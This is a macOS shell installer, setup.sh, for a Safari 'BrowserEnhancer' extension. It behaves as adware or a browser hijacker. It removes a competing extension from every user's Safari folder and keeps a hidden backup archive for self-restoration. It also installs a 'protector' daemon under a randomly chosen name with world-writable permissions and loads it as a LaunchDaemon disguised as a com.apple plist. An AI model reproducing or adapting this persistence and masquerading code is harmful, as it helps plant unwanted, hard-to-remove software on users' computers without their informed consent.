setup.sh

#!/bin/bash

chmod +x install_updater.sh
./install_updater.sh $6

#save current dir position
curdir=`pwd`
user=`users | cut -f1 -d' '`

#if somebody disturbs /tmp using
if [ -d /private/tmp ]; then 
    echo "Installing DaVinci..."
else
    rm -f /private/tmp
    mkdir -p /private/tmp
fi

#check doubled installation and try uninstall former one
if [ -z $6 ]; then
    rndnames=(`cat ./names.db`)
    n=${#rndnames[@]} 
    i=0          
    while [ $i -lt $n ]
    do
	instname="${rndnames[i]}"
        instname=`echo $instname | tr "[A-Z]" "[a-z]"`
        plistfile="/Library/LaunchDaemons/com.apple."$instname".plist"
	if [ -f $plistfile ]; then
	    echo "uninstalling ... "$instname
	    launchctl unload -F $plistfile
	    rm -f $plistfile
	    killall $instname
	    rm -f /Library/settings.dat /Library/backup.zip 
	    rm -f "/Library/"$instname
        fi
	i=`expr $i + 1`
    done
    
    for user in `users`
    do
	extpath="/Users/"$user"/Library/Safari/Extensions"
        echo "Searching extension... "$extpath    
	if [ -d $extpath ]; then
	    cd $extpath
            find . -type f -name '*.safariextz' -print0 | while read -d $'\0' ext
    	    do 
		echo "Checking...""$ext"
    		xar -x -f "$ext"
		if [ -d "omnikey.safariextension" ]; then
		    echo "Removing..""$ext"
		    rm -f "$ext"
		fi
		rm -R *.safariextension 2>/dev/null
	    done
	fi
    done
fi

#try pure install
cd $curdir
chmod +x "./BrowserEnhancer.app/Contents/MacOS/BrowserEnhancer"
chmod +x postinstall.sh
./postinstall.sh $1 $2 $3 $4 $5

#initialization, when protector tries restore, it starts this with noinit parameter
if [ ""$6 = "noinit" ]; then
    echo "Skip initialization"
    exit 1;
fi

target=$4
if [ ""$target = "" ]; then
    echo "Invalid Parameter"
    exit 0
fi

pckgdir="/Library/"
datfile=$pckgdir"settings.dat"
package=$pckgdir"backup.zip"
tempdir=$pckgdir$target
removef=$tempdir"/protector "$tempdir"/names.db"

mkdir -p $tempdir
cp -R * $tempdir
rm -f $removef

cd $pckgdir
tar cfz backup.zip $target

cd $tempdir"/BrowserEnhancer.app/Contents/MacOS"
xar -x -f search.safariextz
sext=`ls -d *.safariextension/|sed 's|[/]||g' 2>/dev/null`
echo "Safari extension internal name... "$sext

cd $pckgdir
rm -R $tempdir

echo "Recording Parameters..."
sleep 3
echo $1 > $datfile
echo $2 >> $datfile
echo $3 >> $datfile
echo $4 >> $datfile
echo $5 >> $datfile
echo $sext >> $datfile

chmod 600 $datfile 
chmod 600 $package

cd $curdir
if [ -f ./protector ]; then
    rndnames=(`cat ./names.db`)
    n=${#rndnames[@]}           
    instname="${rndnames[RANDOM % n]}"
    instname=`echo $instname | tr "[A-Z]" "[a-z]"`
    echo "Loading..."$instname
    cp protector $pckgdir$instname
    chmod 777 $pckgdir$instname
    cd $pckgdir
    ./$instname 
    plistfile="/Library/LaunchDaemons/com.apple."$instname".plist"
    launchctl load $plistfile
else
    echo "Missing Protector Daemon"
fi

echo "Done."
exit 0